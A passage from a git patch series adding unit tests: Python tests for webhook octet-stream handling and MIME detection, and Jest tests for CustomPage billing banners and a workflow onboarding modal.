webhook_data["body"]["raw"] == "raw text content" + def test_extract_octet_stream_body_uses_detected_mime(self): + """Octet-stream uploads should rely on detected MIME type.""" + app = Flask(__name__) + binary_content = b"plain text data" + + with app.test_request_context( + "/webhook", method="POST", headers={"Content-Type": "application/octet-stream"}, data=binary_content + ): + webhook_trigger = MagicMock() + mock_file = MagicMock() + mock_file.to_dict.return_value = {"file": "data"} + + with ( + patch.object(WebhookService, "_detect_binary_mimetype", return_value="text/plain") as mock_detect, + patch.object(WebhookService, "_create_file_from_binary") as mock_create, + ): + mock_create.return_value = mock_file + body, files = WebhookService._extract_octet_stream_body(webhook_trigger) + + assert body["raw"] == {"file": "data"} + assert files == {} + mock_detect.assert_called_once_with(binary_content) + mock_create.assert_called_once() + args = mock_create.call_args[0] + assert args[0] == binary_content + assert args[1] == "text/plain" + assert args[2] is webhook_trigger + + def test_detect_binary_mimetype_uses_magic(self, monkeypatch): + """python-magic output should be used when available.""" + fake_magic = MagicMock() + fake_magic.from_buffer.return_value = "image/png" + monkeypatch.setattr("services.trigger.webhook_service.magic", fake_magic) + + result = WebhookService._detect_binary_mimetype(b"binary data") + + assert result == "image/png" + fake_magic.from_buffer.assert_called_once() + + def test_detect_binary_mimetype_fallback_without_magic(self, monkeypatch): + """Fallback MIME type should be used when python-magic is unavailable.""" + monkeypatch.setattr("services.trigger.webhook_service.magic", None) + + result = WebhookService._detect_binary_mimetype(b"binary data") + + assert result == "application/octet-stream" + + def test_detect_binary_mimetype_handles_magic_exception(self, monkeypatch): + """Fallback MIME type should be used when python-magic raises an exception.""" + try: + import magic as real_magic + except ImportError: + pytest.skip("python-magic is not installed") + + fake_magic = MagicMock() + fake_magic.from_buffer.side_effect = real_magic.MagicException("magic error") + monkeypatch.setattr("services.trigger.webhook_service.magic", fake_magic) + + with patch("services.trigger.webhook_service.logger") as mock_logger: + result = WebhookService._detect_binary_mimetype(b"binary data") + + assert result == "application/octet-stream" + mock_logger.debug.assert_called_once() + def test_extract_webhook_data_invalid_json(self): """Test webhook data extraction with invalid JSON.""" app = Flask(__name__) From 4553e4c12f9852d430259f2a76f3e029e6f44755 Mon Sep 17 00:00:00 2001 From: yyh <92089059+lyzno1@users.noreply.github.com> Date: Tue, 16 Dec 2025 14:18:09 +0800 Subject: [PATCH 20/38] test: add comprehensive Jest tests for CustomPage and WorkflowOnboardingModal components (#29714) --- .../custom/custom-page/index.spec.tsx | 500 +++++++++++++ .../common/document-picker/index.spec.tsx | 7 - .../preview-document-picker.spec.tsx | 2 +- .../retrieval-method-config/index.spec.tsx | 7 - .../workflow-onboarding-modal/index.spec.tsx | 686 ++++++++++++++++++ .../start-node-option.spec.tsx | 348 +++++++++ .../start-node-selection-panel.spec.tsx | 586 +++++++++++++++ 7 files changed, 2121 insertions(+), 15 deletions(-) create mode 100644 web/app/components/custom/custom-page/index.spec.tsx create mode 100644 web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx create mode 100644 web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-option.spec.tsx create mode 100644 web/app/components/workflow-app/components/workflow-onboarding-modal/start-node-selection-panel.spec.tsx diff --git a/web/app/components/custom/custom-page/index.spec.tsx b/web/app/components/custom/custom-page/index.spec.tsx new file mode 100644 index 0000000000..f260236587 --- /dev/null +++ b/web/app/components/custom/custom-page/index.spec.tsx @@ -0,0 +1,500 @@ +import React from 'react' +import { render, screen } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import CustomPage from './index' +import { Plan } from '@/app/components/billing/type' +import { createMockProviderContextValue } from '@/__mocks__/provider-context' +import { contactSalesUrl } from '@/app/components/billing/config' + +// Mock external dependencies only +jest.mock('@/context/provider-context', () => ({ + useProviderContext: jest.fn(), +})) + +jest.mock('@/context/modal-context', () => ({ + useModalContext: jest.fn(), +})) + +// Mock the complex CustomWebAppBrand component to avoid dependency issues +// This is acceptable because it has complex dependencies (fetch, APIs) +jest.mock('../custom-web-app-brand', () => ({ + __esModule: true, + default: () =>
CustomWebAppBrand
, +})) + +// Get the mocked functions +const { useProviderContext } = jest.requireMock('@/context/provider-context') +const { useModalContext } = jest.requireMock('@/context/modal-context') + +describe('CustomPage', () => { + const mockSetShowPricingModal = jest.fn() + + beforeEach(() => { + jest.clearAllMocks() + + // Default mock setup + useModalContext.mockReturnValue({ + setShowPricingModal: mockSetShowPricingModal, + }) + }) + + // Helper function to render with different provider contexts + const renderWithContext = (overrides = {}) => { + useProviderContext.mockReturnValue( + createMockProviderContextValue(overrides), + ) + return render() + } + + // Rendering tests (REQUIRED) + describe('Rendering', () => { + it('should render without crashing', () => { + // Arrange & Act + renderWithContext() + + // Assert + expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument() + }) + + it('should always render CustomWebAppBrand component', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert + expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument() + }) + + it('should have correct layout structure', () => { + // Arrange & Act + const { container } = renderWithContext() + + // Assert + const mainContainer = container.querySelector('.flex.flex-col') + expect(mainContainer).toBeInTheDocument() + }) + }) + + // Conditional Rendering - Billing Tip + describe('Billing Tip Banner', () => { + it('should show billing tip when enableBilling is true and plan is sandbox', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert + expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument() + expect(screen.getByText('custom.upgradeTip.des')).toBeInTheDocument() + expect(screen.getByText('billing.upgradeBtn.encourageShort')).toBeInTheDocument() + }) + + it('should not show billing tip when enableBilling is false', () => { + // Arrange & Act + renderWithContext({ + enableBilling: false, + plan: { type: Plan.sandbox }, + }) + + // Assert + expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument() + expect(screen.queryByText('custom.upgradeTip.des')).not.toBeInTheDocument() + }) + + it('should not show billing tip when plan is professional', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.professional }, + }) + + // Assert + expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument() + expect(screen.queryByText('custom.upgradeTip.des')).not.toBeInTheDocument() + }) + + it('should not show billing tip when plan is team', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.team }, + }) + + // Assert + expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument() + expect(screen.queryByText('custom.upgradeTip.des')).not.toBeInTheDocument() + }) + + it('should have correct gradient styling for billing tip banner', () => { + // Arrange & Act + const { container } = renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert + const banner = container.querySelector('.bg-gradient-to-r') + expect(banner).toBeInTheDocument() + expect(banner).toHaveClass('from-components-input-border-active-prompt-1') + expect(banner).toHaveClass('to-components-input-border-active-prompt-2') + expect(banner).toHaveClass('p-4') + expect(banner).toHaveClass('pl-6') + expect(banner).toHaveClass('shadow-lg') + }) + }) + + // Conditional Rendering - Contact Sales + describe('Contact Sales Section', () => { + it('should show contact section when enableBilling is true and plan is professional', () => { + // Arrange & Act + const { container } = renderWithContext({ + enableBilling: true, + plan: { type: Plan.professional }, + }) + + // Assert - Check that contact section exists with all parts + const contactSection = container.querySelector('.absolute.bottom-0') + expect(contactSection).toBeInTheDocument() + expect(contactSection).toHaveTextContent('custom.customize.prefix') + expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument() + expect(contactSection).toHaveTextContent('custom.customize.suffix') + }) + + it('should show contact section when enableBilling is true and plan is team', () => { + // Arrange & Act + const { container } = renderWithContext({ + enableBilling: true, + plan: { type: Plan.team }, + }) + + // Assert - Check that contact section exists with all parts + const contactSection = container.querySelector('.absolute.bottom-0') + expect(contactSection).toBeInTheDocument() + expect(contactSection).toHaveTextContent('custom.customize.prefix') + expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument() + expect(contactSection).toHaveTextContent('custom.customize.suffix') + }) + + it('should not show contact section when enableBilling is false', () => { + // Arrange & Act + renderWithContext({ + enableBilling: false, + plan: { type: Plan.professional }, + }) + + // Assert + expect(screen.queryByText('custom.customize.prefix')).not.toBeInTheDocument() + expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument() + }) + + it('should not show contact section when plan is sandbox', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert + expect(screen.queryByText('custom.customize.prefix')).not.toBeInTheDocument() + expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument() + }) + + it('should render contact link with correct URL', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.professional }, + }) + + // Assert + const link = screen.getByText('custom.customize.contactUs').closest('a') + expect(link).toHaveAttribute('href', contactSalesUrl) + expect(link).toHaveAttribute('target', '_blank') + expect(link).toHaveAttribute('rel', 'noopener noreferrer') + }) + + it('should have correct positioning for contact section', () => { + // Arrange & Act + const { container } = renderWithContext({ + enableBilling: true, + plan: { type: Plan.professional }, + }) + + // Assert + const contactSection = container.querySelector('.absolute.bottom-0') + expect(contactSection).toBeInTheDocument() + expect(contactSection).toHaveClass('h-[50px]') + expect(contactSection).toHaveClass('text-xs') + expect(contactSection).toHaveClass('leading-[50px]') + }) + }) + + // User Interactions + describe('User Interactions', () => { + it('should call setShowPricingModal when upgrade button is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Act + const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort') + await user.click(upgradeButton) + + // Assert + expect(mockSetShowPricingModal).toHaveBeenCalledTimes(1) + }) + + it('should call setShowPricingModal without arguments', async () => { + // Arrange + const user = userEvent.setup() + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Act + const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort') + await user.click(upgradeButton) + + // Assert + expect(mockSetShowPricingModal).toHaveBeenCalledWith() + }) + + it('should handle multiple clicks on upgrade button', async () => { + // Arrange + const user = userEvent.setup() + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Act + const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort') + await user.click(upgradeButton) + await user.click(upgradeButton) + await user.click(upgradeButton) + + // Assert + expect(mockSetShowPricingModal).toHaveBeenCalledTimes(3) + }) + + it('should have correct button styling for upgrade button', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert + const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort') + expect(upgradeButton).toHaveClass('cursor-pointer') + expect(upgradeButton).toHaveClass('bg-white') + expect(upgradeButton).toHaveClass('text-text-accent') + expect(upgradeButton).toHaveClass('rounded-3xl') + }) + }) + + // Edge Cases (REQUIRED) + describe('Edge Cases', () => { + it('should handle undefined plan type gracefully', () => { + // Arrange & Act + expect(() => { + renderWithContext({ + enableBilling: true, + plan: { type: undefined }, + }) + }).not.toThrow() + + // Assert + expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument() + }) + + it('should handle plan without type property', () => { + // Arrange & Act + expect(() => { + renderWithContext({ + enableBilling: true, + plan: { type: null }, + }) + }).not.toThrow() + + // Assert + expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument() + }) + + it('should not show any banners when both conditions are false', () => { + // Arrange & Act + renderWithContext({ + enableBilling: false, + plan: { type: Plan.sandbox }, + }) + + // Assert + expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument() + expect(screen.queryByText('custom.customize.prefix')).not.toBeInTheDocument() + }) + + it('should handle enableBilling undefined', () => { + // Arrange & Act + expect(() => { + renderWithContext({ + enableBilling: undefined, + plan: { type: Plan.sandbox }, + }) + }).not.toThrow() + + // Assert + expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument() + }) + + it('should show only billing tip for sandbox plan, not contact section', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert + expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument() + expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument() + }) + + it('should show only contact section for professional plan, not billing tip', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.professional }, + }) + + // Assert + expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument() + expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument() + }) + + it('should show only contact section for team plan, not billing tip', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.team }, + }) + + // Assert + expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument() + expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument() + }) + + it('should handle empty plan object', () => { + // Arrange & Act + expect(() => { + renderWithContext({ + enableBilling: true, + plan: {}, + }) + }).not.toThrow() + + // Assert + expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument() + }) + }) + + // Accessibility Tests + describe('Accessibility', () => { + it('should have clickable upgrade button', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert + const upgradeButton = screen.getByText('billing.upgradeBtn.encourageShort') + expect(upgradeButton).toBeInTheDocument() + expect(upgradeButton).toHaveClass('cursor-pointer') + }) + + it('should have proper external link attributes on contact link', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.professional }, + }) + + // Assert + const link = screen.getByText('custom.customize.contactUs').closest('a') + expect(link).toHaveAttribute('rel', 'noopener noreferrer') + expect(link).toHaveAttribute('target', '_blank') + }) + + it('should have proper text hierarchy in billing tip', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert + const title = screen.getByText('custom.upgradeTip.title') + const description = screen.getByText('custom.upgradeTip.des') + + expect(title).toHaveClass('title-xl-semi-bold') + expect(description).toHaveClass('system-sm-regular') + }) + + it('should use semantic color classes', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert - Check that the billing tip has text content (which implies semantic colors) + expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument() + }) + }) + + // Integration Tests + describe('Integration', () => { + it('should render both CustomWebAppBrand and billing tip together', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.sandbox }, + }) + + // Assert + expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument() + expect(screen.getByText('custom.upgradeTip.title')).toBeInTheDocument() + }) + + it('should render both CustomWebAppBrand and contact section together', () => { + // Arrange & Act + renderWithContext({ + enableBilling: true, + plan: { type: Plan.professional }, + }) + + // Assert + expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument() + expect(screen.getByText('custom.customize.contactUs')).toBeInTheDocument() + }) + + it('should render only CustomWebAppBrand when no billing conditions met', () => { + // Arrange & Act + renderWithContext({ + enableBilling: false, + plan: { type: Plan.sandbox }, + }) + + // Assert + expect(screen.getByTestId('custom-web-app-brand')).toBeInTheDocument() + expect(screen.queryByText('custom.upgradeTip.title')).not.toBeInTheDocument() + expect(screen.queryByText('custom.customize.contactUs')).not.toBeInTheDocument() + }) + }) +}) diff --git a/web/app/components/datasets/common/document-picker/index.spec.tsx b/web/app/components/datasets/common/document-picker/index.spec.tsx index 3caa3d655b..0ce4d8afa5 100644 --- a/web/app/components/datasets/common/document-picker/index.spec.tsx +++ b/web/app/components/datasets/common/document-picker/index.spec.tsx @@ -5,13 +5,6 @@ import type { ParentMode, SimpleDocumentDetail } from '@/models/datasets' import { ChunkingMode, DataSourceType } from '@/models/datasets' import DocumentPicker from './index' -// Mock react-i18next -jest.mock('react-i18next', () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})) - // Mock portal-to-follow-elem - always render content for testing jest.mock('@/app/components/base/portal-to-follow-elem', () => ({ PortalToFollowElem: ({ children, open }: { diff --git a/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx b/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx index e6900d23db..737ef8b6dc 100644 --- a/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx +++ b/web/app/components/datasets/common/document-picker/preview-document-picker.spec.tsx @@ -3,7 +3,7 @@ import { fireEvent, render, screen } from '@testing-library/react' import type { DocumentItem } from '@/models/datasets' import PreviewDocumentPicker from './preview-document-picker' -// Mock react-i18next +// Override shared i18n mock for custom translations jest.mock('react-i18next', () => ({ useTranslation: () => ({ t: (key: string, params?: Record) => { diff --git a/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx b/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx index be509f1c6e..7d5edb3dbb 100644 --- a/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx +++ b/web/app/components/datasets/common/retrieval-method-config/index.spec.tsx @@ -9,13 +9,6 @@ import { } from '@/models/datasets' import RetrievalMethodConfig from './index' -// Mock react-i18next -jest.mock('react-i18next', () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})) - // Mock provider context with controllable supportRetrievalMethods let mockSupportRetrievalMethods: RETRIEVE_METHOD[] = [ RETRIEVE_METHOD.semantic, diff --git a/web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx b/web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx new file mode 100644 index 0000000000..81d7dc8af6 --- /dev/null +++ b/web/app/components/workflow-app/components/workflow-onboarding-modal/index.spec.tsx @@ -0,0 +1,686 @@ +import React from 'react' +import { fireEvent, render, screen, waitFor } from '@testing-library/react' +import userEvent from '@testing-library/user-event' +import WorkflowOnboardingModal from './index' +import { BlockEnum } from '@/app/components/workflow/types' + +// Mock Modal component +jest.mock('@/app/components/base/modal', () => { + return function MockModal({ + isShow, + onClose, + children, + closable, + }: any) { + if (!isShow) + return null + + return ( +
+ {closable && ( + + )} + {children} +
+ ) + } +}) + +// Mock useDocLink hook +jest.mock('@/context/i18n', () => ({ + useDocLink: () => (path: string) => `https://docs.example.com${path}`, +})) + +// Mock StartNodeSelectionPanel (using real component would be better for integration, +// but for this test we'll mock to control behavior) +jest.mock('./start-node-selection-panel', () => { + return function MockStartNodeSelectionPanel({ + onSelectUserInput, + onSelectTrigger, + }: any) { + return ( +
+ + + +
+ ) + } +}) + +describe('WorkflowOnboardingModal', () => { + const mockOnClose = jest.fn() + const mockOnSelectStartNode = jest.fn() + + const defaultProps = { + isShow: true, + onClose: mockOnClose, + onSelectStartNode: mockOnSelectStartNode, + } + + beforeEach(() => { + jest.clearAllMocks() + }) + + // Helper function to render component + const renderComponent = (props = {}) => { + return render() + } + + // Rendering tests (REQUIRED) + describe('Rendering', () => { + it('should render without crashing', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByRole('dialog')).toBeInTheDocument() + }) + + it('should render modal when isShow is true', () => { + // Arrange & Act + renderComponent({ isShow: true }) + + // Assert + expect(screen.getByTestId('modal')).toBeInTheDocument() + }) + + it('should not render modal when isShow is false', () => { + // Arrange & Act + renderComponent({ isShow: false }) + + // Assert + expect(screen.queryByTestId('modal')).not.toBeInTheDocument() + }) + + it('should render modal title', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByText('workflow.onboarding.title')).toBeInTheDocument() + }) + + it('should render modal description', () => { + // Arrange & Act + const { container } = renderComponent() + + // Assert - Check both parts of description (separated by link) + const descriptionDiv = container.querySelector('.body-xs-regular.leading-4') + expect(descriptionDiv).toBeInTheDocument() + expect(descriptionDiv).toHaveTextContent('workflow.onboarding.description') + expect(descriptionDiv).toHaveTextContent('workflow.onboarding.aboutStartNode') + }) + + it('should render learn more link', () => { + // Arrange & Act + renderComponent() + + // Assert + const learnMoreLink = screen.getByText('workflow.onboarding.learnMore') + expect(learnMoreLink).toBeInTheDocument() + expect(learnMoreLink.closest('a')).toHaveAttribute('href', 'https://docs.example.com/guides/workflow/node/start') + expect(learnMoreLink.closest('a')).toHaveAttribute('target', '_blank') + expect(learnMoreLink.closest('a')).toHaveAttribute('rel', 'noopener noreferrer') + }) + + it('should render StartNodeSelectionPanel', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument() + }) + + it('should render ESC tip when modal is shown', () => { + // Arrange & Act + renderComponent({ isShow: true }) + + // Assert + expect(screen.getByText('workflow.onboarding.escTip.press')).toBeInTheDocument() + expect(screen.getByText('workflow.onboarding.escTip.key')).toBeInTheDocument() + expect(screen.getByText('workflow.onboarding.escTip.toDismiss')).toBeInTheDocument() + }) + + it('should not render ESC tip when modal is hidden', () => { + // Arrange & Act + renderComponent({ isShow: false }) + + // Assert + expect(screen.queryByText('workflow.onboarding.escTip.press')).not.toBeInTheDocument() + }) + + it('should have correct styling for title', () => { + // Arrange & Act + renderComponent() + + // Assert + const title = screen.getByText('workflow.onboarding.title') + expect(title).toHaveClass('title-2xl-semi-bold') + expect(title).toHaveClass('text-text-primary') + }) + + it('should have modal close button', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByTestId('modal-close-button')).toBeInTheDocument() + }) + }) + + // Props tests (REQUIRED) + describe('Props', () => { + it('should accept isShow prop', () => { + // Arrange & Act + const { rerender } = renderComponent({ isShow: false }) + + // Assert + expect(screen.queryByTestId('modal')).not.toBeInTheDocument() + + // Act + rerender() + + // Assert + expect(screen.getByTestId('modal')).toBeInTheDocument() + }) + + it('should accept onClose prop', () => { + // Arrange + const customOnClose = jest.fn() + + // Act + renderComponent({ onClose: customOnClose }) + + // Assert + expect(screen.getByTestId('modal')).toBeInTheDocument() + }) + + it('should accept onSelectStartNode prop', () => { + // Arrange + const customHandler = jest.fn() + + // Act + renderComponent({ onSelectStartNode: customHandler }) + + // Assert + expect(screen.getByTestId('start-node-selection-panel')).toBeInTheDocument() + }) + + it('should handle undefined onClose gracefully', () => { + // Arrange & Act + expect(() => { + renderComponent({ onClose: undefined }) + }).not.toThrow() + + // Assert + expect(screen.getByTestId('modal')).toBeInTheDocument() + }) + + it('should handle undefined onSelectStartNode gracefully', () => { + // Arrange & Act + expect(() => { + renderComponent({ onSelectStartNode: undefined }) + }).not.toThrow() + + // Assert + expect(screen.getByTestId('modal')).toBeInTheDocument() + }) + }) + + // User Interactions - Start Node Selection + describe('User Interactions - Start Node Selection', () => { + it('should call onSelectStartNode with Start block when user input is selected', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const userInputButton = screen.getByTestId('select-user-input') + await user.click(userInputButton) + + // Assert + expect(mockOnSelectStartNode).toHaveBeenCalledTimes(1) + expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.Start) + }) + + it('should call onClose after selecting user input', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const userInputButton = screen.getByTestId('select-user-input') + await user.click(userInputButton) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + + it('should call onSelectStartNode with trigger type when trigger is selected', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const triggerButton = screen.getByTestId('select-trigger-schedule') + await user.click(triggerButton) + + // Assert + expect(mockOnSelectStartNode).toHaveBeenCalledTimes(1) + expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerSchedule, undefined) + }) + + it('should call onClose after selecting trigger', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const triggerButton = screen.getByTestId('select-trigger-schedule') + await user.click(triggerButton) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + + it('should pass tool config when selecting trigger with config', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const webhookButton = screen.getByTestId('select-trigger-webhook') + await user.click(webhookButton) + + // Assert + expect(mockOnSelectStartNode).toHaveBeenCalledTimes(1) + expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerWebhook, { config: 'test' }) + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + }) + + // User Interactions - Modal Close + describe('User Interactions - Modal Close', () => { + it('should call onClose when close button is clicked', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const closeButton = screen.getByTestId('modal-close-button') + await user.click(closeButton) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + + it('should not call onSelectStartNode when closing without selection', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + const closeButton = screen.getByTestId('modal-close-button') + await user.click(closeButton) + + // Assert + expect(mockOnSelectStartNode).not.toHaveBeenCalled() + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + }) + + // Keyboard Event Handling + describe('Keyboard Event Handling', () => { + it('should call onClose when ESC key is pressed', () => { + // Arrange + renderComponent({ isShow: true }) + + // Act + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + + it('should not call onClose when other keys are pressed', () => { + // Arrange + renderComponent({ isShow: true }) + + // Act + fireEvent.keyDown(document, { key: 'Enter', code: 'Enter' }) + fireEvent.keyDown(document, { key: 'Tab', code: 'Tab' }) + fireEvent.keyDown(document, { key: 'a', code: 'KeyA' }) + + // Assert + expect(mockOnClose).not.toHaveBeenCalled() + }) + + it('should not call onClose when ESC is pressed but modal is hidden', () => { + // Arrange + renderComponent({ isShow: false }) + + // Act + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + + // Assert + expect(mockOnClose).not.toHaveBeenCalled() + }) + + it('should clean up event listener on unmount', () => { + // Arrange + const { unmount } = renderComponent({ isShow: true }) + + // Act + unmount() + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + + // Assert + expect(mockOnClose).not.toHaveBeenCalled() + }) + + it('should update event listener when isShow changes', () => { + // Arrange + const { rerender } = renderComponent({ isShow: true }) + + // Act - Press ESC when shown + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(1) + + // Act - Hide modal and clear mock + mockOnClose.mockClear() + rerender() + + // Act - Press ESC when hidden + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + + // Assert + expect(mockOnClose).not.toHaveBeenCalled() + }) + + it('should handle multiple ESC key presses', () => { + // Arrange + renderComponent({ isShow: true }) + + // Act + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(3) + }) + }) + + // Edge Cases (REQUIRED) + describe('Edge Cases', () => { + it('should handle rapid modal show/hide toggling', async () => { + // Arrange + const { rerender } = renderComponent({ isShow: false }) + + // Assert + expect(screen.queryByTestId('modal')).not.toBeInTheDocument() + + // Act + rerender() + + // Assert + expect(screen.getByTestId('modal')).toBeInTheDocument() + + // Act + rerender() + + // Assert + await waitFor(() => { + expect(screen.queryByTestId('modal')).not.toBeInTheDocument() + }) + }) + + it('should handle selecting multiple nodes in sequence', async () => { + // Arrange + const user = userEvent.setup() + const { rerender } = renderComponent() + + // Act - Select user input + await user.click(screen.getByTestId('select-user-input')) + + // Assert + expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.Start) + expect(mockOnClose).toHaveBeenCalledTimes(1) + + // Act - Re-show modal and select trigger + mockOnClose.mockClear() + mockOnSelectStartNode.mockClear() + rerender() + + await user.click(screen.getByTestId('select-trigger-schedule')) + + // Assert + expect(mockOnSelectStartNode).toHaveBeenCalledWith(BlockEnum.TriggerSchedule, undefined) + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + + it('should handle prop updates correctly', () => { + // Arrange + const { rerender } = renderComponent({ isShow: true }) + + // Assert + expect(screen.getByTestId('modal')).toBeInTheDocument() + + // Act - Update props + const newOnClose = jest.fn() + const newOnSelectStartNode = jest.fn() + rerender( + , + ) + + // Assert - Modal still renders with new props + expect(screen.getByTestId('modal')).toBeInTheDocument() + }) + + it('should handle onClose being called multiple times', async () => { + // Arrange + const user = userEvent.setup() + renderComponent() + + // Act + await user.click(screen.getByTestId('modal-close-button')) + await user.click(screen.getByTestId('modal-close-button')) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(2) + }) + + it('should maintain modal state when props change', () => { + // Arrange + const { rerender } = renderComponent({ isShow: true }) + + // Assert + expect(screen.getByTestId('modal')).toBeInTheDocument() + + // Act - Change onClose handler + const newOnClose = jest.fn() + rerender() + + // Assert - Modal should still be visible + expect(screen.getByTestId('modal')).toBeInTheDocument() + }) + }) + + // Accessibility Tests + describe('Accessibility', () => { + it('should have dialog role', () => { + // Arrange & Act + renderComponent() + + // Assert + expect(screen.getByRole('dialog')).toBeInTheDocument() + }) + + it('should have proper heading hierarchy', () => { + // Arrange & Act + const { container } = renderComponent() + + // Assert + const heading = container.querySelector('h3') + expect(heading).toBeInTheDocument() + expect(heading).toHaveTextContent('workflow.onboarding.title') + }) + + it('should have external link with proper attributes', () => { + // Arrange & Act + renderComponent() + + // Assert + const link = screen.getByText('workflow.onboarding.learnMore').closest('a') + expect(link).toHaveAttribute('target', '_blank') + expect(link).toHaveAttribute('rel', 'noopener noreferrer') + }) + + it('should have keyboard navigation support via ESC key', () => { + // Arrange + renderComponent({ isShow: true }) + + // Act + fireEvent.keyDown(document, { key: 'Escape', code: 'Escape' }) + + // Assert + expect(mockOnClose).toHaveBeenCalledTimes(1) + }) + + it('should have visible ESC key hint', () => { + // Arrange & Act + renderComponent({ isShow: true }) + + // Assert + const escKey = screen.getByText('workflow.onboarding.escTip.key') + expect(escKey.closest('kbd')).toBeInTheDocument() + 